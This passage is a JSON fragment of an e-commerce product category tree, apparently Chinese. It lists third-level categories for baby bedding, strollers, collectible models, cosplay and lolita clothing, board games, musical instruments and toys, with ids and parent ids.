a":null,"is_get_child":false},{"id":26449,"name":"婴童抱被/抱毯","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26452,"name":"婴童被子/被套","parent_cid":21033,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":26444,"name":"婴童床垫","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26457,"name":"婴童床品套件","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26456,"name":"婴童凉席系列","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26451,"name":"婴童毛毯/盖毯","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26445,"name":"婴童蚊帐","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26450,"name":"婴童枕头/枕芯","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26432,"name":"其它","parent_cid":21033,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26563,"name":"背包床","parent_cid":21051,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26562,"name":"床护栏","parent_cid":21051,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26561,"name":"床中床","parent_cid":21051,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26560,"name":"蹬被/尿湿/防丢提醒器","parent_cid":21051,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26559,"name":"摇篮","parent_cid":21051,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26558,"name":"摇椅","parent_cid":21051,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26564,"name":"婴儿床/儿童床","parent_cid":21051,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26565,"name":"幼儿园专用床","parent_cid":21051,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26543,"name":"电动奶粉搅拌器","parent_cid":21045,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26540,"name":"调奶器","parent_cid":21045,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26542,"name":"奶瓶消毒器/消毒锅","parent_cid":21045,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26541,"name":"暖奶器/加热器","parent_cid":21045,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26539,"name":"消毒包","parent_cid":21045,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26415,"name":"电动牙刷","parent_cid":21029,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26420,"name":"儿童护牙素","parent_cid":21029,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26424,"name":"儿童口腔喷雾","parent_cid":21029,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26408,"name":"固齿器","parent_cid":21029,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26411,"name":"乳牙刷/训练牙刷/护齿牙刷","parent_cid":21029,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26421,"name":"食物咬咬袋","parent_cid":21029,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26425,"name":"牙膏牙刷套装","parent_cid":21029,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26395,"name":"牙胶","parent_cid":21029,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26396,"name":"婴童牙膏","parent_cid":21029,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26394,"name":"其它","parent_cid":21029,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27544,"name":"单杆轻便推车","parent_cid":21378,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27538,"name":"三轮推车","parent_cid":21378,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27543,"name":"双胞胎推车","parent_cid":21378,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27539,"name":"四轮推车","parent_cid":21378,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27540,"name":"推车棉垫","parent_cid":21378,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27541,"name":"推车配件","parent_cid":21378,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27542,"name":"推车雨罩","parent_cid":21378,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27537,"name":"学步车","parent_cid":21378,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23482,"name":"场景/建筑模型","parent_cid":20376,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23484,"name":"儿童无人机","parent_cid":20376,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23481,"name":"航模/直升机/飞机模型","parent_cid":20376,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23479,"name":"火车/摩托/汽车模型","parent_cid":20376,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23480,"name":"舰艇/船只/舰船模型","parent_cid":20376,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23478,"name":"坦克/战车/武器模型","parent_cid":20376,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23483,"name":"其他模型","parent_cid":20376,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23439,"name":"Cosplay男装","parent_cid":20367,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23438,"name":"Cosplay女装","parent_cid":20367,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23437,"name":"COSPLAY配件/道具/人偶服","parent_cid":20367,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23441,"name":"cos摄影/后期/化妆","parent_cid":20367,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23440,"name":"JK/DK/学生装cos","parent_cid":20367,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23500,"name":"古风配饰","parent_cid":20382,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23499,"name":"古风套装","parent_cid":20382,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23498,"name":"古风外衣","parent_cid":20382,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23496,"name":"古风中衣","parent_cid":20382,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23485,"name":"衬衫","parent_cid":20377,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23486,"name":"洛丽塔/软妹装/洋装","parent_cid":20377,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23493,"name":"洛丽塔半身裙","parent_cid":20377,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23488,"name":"洛丽塔包袋","parent_cid":20377,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23494,"name":"洛丽塔短外套","parent_cid":20377,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23487,"name":"洛丽塔假发","parent_cid":20377,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23490,"name":"洛丽塔裤子","parent_cid":20377,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23495,"name":"洛丽塔连衣裙","parent_cid":20377,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23491,"name":"洛丽塔配饰","parent_cid":20377,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23489,"name":"洛丽塔袜子","parent_cid":20377,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23492,"name":"洛丽塔鞋类","parent_cid":20377,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23474,"name":"变形金刚模型专区","parent_cid":20375,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23473,"name":"高达模型专区","parent_cid":20375,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23471,"name":"机器人/机甲成品/变形系列","parent_cid":20375,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23476,"name":"圣斗士星矢模型专区","parent_cid":20375,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23475,"name":"太空堡垒模型专区","parent_cid":20375,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23477,"name":"新世纪福音战士机体专区","parent_cid":20375,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23472,"name":"其他拼装/组装模型","parent_cid":20375,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23459,"name":"聚会演出服饰/用具","parent_cid":20370,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23458,"name":"魔术杂技用具","parent_cid":20370,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23457,"name":"其它","parent_cid":20370,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23468,"name":"动漫背包/钱包/箱包","parent_cid":20371,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23467,"name":"动漫电子/道具/本子","parent_cid":20371,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23463,"name":"动漫卡牌/挂件/文具","parent_cid":20371,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23465,"name":"动漫毛绒/抱枕/坐垫","parent_cid":20371,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23466,"name":"动漫水杯/居家/百货","parent_cid":20371,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23462,"name":"动漫T恤/鞋帽/服装","parent_cid":20371,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23464,"name":"动漫周边配饰","parent_cid":20371,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23445,"name":"发牌机","parent_cid":20368,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23444,"name":"麻将/牌九/色子","parent_cid":20368,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23443,"name":"扑克","parent_cid":20368,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23448,"name":"棋牌桌/游戏桌","parent_cid":20368,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23447,"name":"四子棋/五子棋","parent_cid":20368,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23442,"name":"围棋","parent_cid":20368,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23446,"name":"洗牌机","parent_cid":20368,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23451,"name":"中国象棋/国际象棋","parent_cid":20368,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23449,"name":"桌游卡牌","parent_cid":20368,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23450,"name":"桌游配件","parent_cid":20368,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23452,"name":"其它棋牌/桌面游戏","parent_cid":20368,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23455,"name":"兵人专区","parent_cid":20369,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23456,"name":"海贼王手办专区","parent_cid":20369,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23453,"name":"盒蛋/扭蛋/食玩","parent_cid":20369,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23454,"name":"手办/手办景品","parent_cid":20369,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23470,"name":"动漫游戏纸模","parent_cid":20374,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23460,"name":"机甲/高达纸模","parent_cid":20374,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23469,"name":"其他类型纸模","parent_cid":20374,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23922,"name":"儿童钢琴","parent_cid":20450,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23928,"name":"儿童架子鼓","parent_cid":20450,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23929,"name":"儿童击打乐器","parent_cid":20450,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23920,"name":"儿童吉他","parent_cid":20450,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23927,"name":"儿童口风琴","parent_cid":20450,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23919,"name":"儿童口琴","parent_cid":20450,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23921,"name":"儿童摇铃","parent_cid":20450,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23795,"name":"乐器定制","parent_cid":20414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23796,"name":"乐器教学","parent_cid":20414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23797,"name":"乐器维修","parent_cid":20414,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23851,"name":"乐器工具","parent_cid":20440,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23850,"name":"乐器周边","parent_cid":20440,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23852,"name":"五线谱电教板","parent_cid":20440,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23681,"name":"背带","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23677,"name":"拨片","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23789,"name":"擦拭布/抛光布","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23684,"name":"镲片","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23766,"name":"电源/适配器","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23775,"name":"调音器","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23680,"name":"笛膜","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23679,"name":"笛头","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23764,"name":"鼓棒/鼓锤/鼓槌","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23687,"name":"鼓凳","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23751,"name":"鼓架/镲架","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23689,"name":"鼓皮","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23688,"name":"鼓刷","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23675,"name":"号嘴","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23776,"name":"键盘架","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23774,"name":"节拍器","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23800,"name":"吉他配件","parent_cid":20415,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23769,"name":"乐器包","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23770,"name":"乐器盒","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23826,"name":"乐器连接线","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23771,"name":"乐器罩","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23798,"name":"乐器指甲","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23749,"name":"谱架/谱台","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23765,"name":"琴凳/键盘凳","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23678,"name":"琴弦","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23676,"name":"哨片","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23827,"name":"手指练习器","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23847,"name":"松香等低值易耗品","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23683,"name":"踏板","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23828,"name":"踏板控制器","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23750,"name":"踏套/脚垫","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23801,"name":"提琴配件","parent_cid":20415,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23772,"name":"哑鼓垫","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23685,"name":"音叉","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23686,"name":"音笛","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23773,"name":"指挥棒","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23832,"name":"其它乐器配件","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23799,"name":"其他支架","parent_cid":20415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23806,"name":"贝司音箱","parent_cid":20416,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23829,"name":"多功能音箱","parent_cid":20416,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23807,"name":"键盘音箱","parent_cid":20416,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23803,"name":"监听耳机","parent_cid":20416,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23804,"name":"监听音箱","parent_cid":20416,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23802,"name":"吉他音箱","parent_cid":20416,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23805,"name":"箱琴音箱","parent_cid":20416,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23846,"name":"音箱脚踏控制器","parent_cid":20416,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23808,"name":"音箱其他","parent_cid":20416,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23809,"name":"音箱支架","parent_cid":20416,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23520,"name":"编曲键盘","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23519,"name":"电子吹管","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23514,"name":"调音台","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23524,"name":"耳机放大器","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23511,"name":"话筒","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23525,"name":"话筒放大器","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23516,"name":"话筒夹/话筒架","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23513,"name":"混音器","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23517,"name":"乐器软件","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23526,"name":"录音棚监听控制器","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23509,"name":"MIDI吹奏控制器","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23508,"name":"MIDI键盘","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23510,"name":"MIDI键盘控制器","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23523,"name":"模拟合成器","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23515,"name":"软音源","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23518,"name":"声卡接口","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23522,"name":"声卡转换器","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23521,"name":"音频接口","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23512,"name":"其它MIDI配件","parent_cid":20385,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23671,"name":"鼓-民族鼓","parent_cid":20417,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23666,"name":"锣","parent_cid":20417,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23834,"name":"民族吹奏乐器","parent_cid":20417,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23835,"name":"民族弹拨乐器","parent_cid":20417,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23836,"name":"民族拉弦乐器","parent_cid":20417,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23833,"name":"其他民族乐器","parent_cid":20417,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23838,"name":"西洋吹奏乐器","parent_cid":20418,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23839,"name":"西洋打击乐器","parent_cid":20418,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23840,"name":"西洋键盘乐器","parent_cid":20418,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23830,"name":"西洋弦乐器","parent_cid":20418,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23837,"name":"其他西洋乐器","parent_cid":20418,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":24157,"name":"挂历","parent_cid":20485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24158,"name":"脚镯","parent_cid":20485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24161,"name":"纪念册","parent_cid":20485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24159,"name":"名字贴","parent_cid":20485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24160,"name":"手脚印","parent_cid":20485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24155,"name":"台历","parent_cid":20485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24163,"name":"胎毛笔","parent_cid":20485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24166,"name":"胎毛挂坠/挂件","parent_cid":20485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24164,"name":"胎毛绣","parent_cid":20485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24162,"name":"胎毛章","parent_cid":20485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24165,"name":"长命锁","parent_cid":20485,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23970,"name":"彩泥/橡皮泥","parent_cid":20463,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23972,"name":"软陶泥","parent_cid":20463,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23971,"name":"粘土/超轻粘土","parent_cid":20463,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23939,"name":"插珠/蘑菇插钉","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23940,"name":"磁力棒","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23943,"name":"打地鼠/敲击果虫","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23947,"name":"钓鱼类玩具","parent_cid"